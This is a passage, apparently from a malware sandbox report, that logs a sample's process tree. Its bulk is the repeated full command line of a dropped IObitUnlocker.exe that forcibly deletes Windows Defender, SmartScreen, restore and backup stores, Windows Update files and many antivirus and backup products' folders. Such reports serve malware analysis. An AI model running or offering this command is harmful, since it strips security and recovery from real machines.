(x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4756
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2352
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program 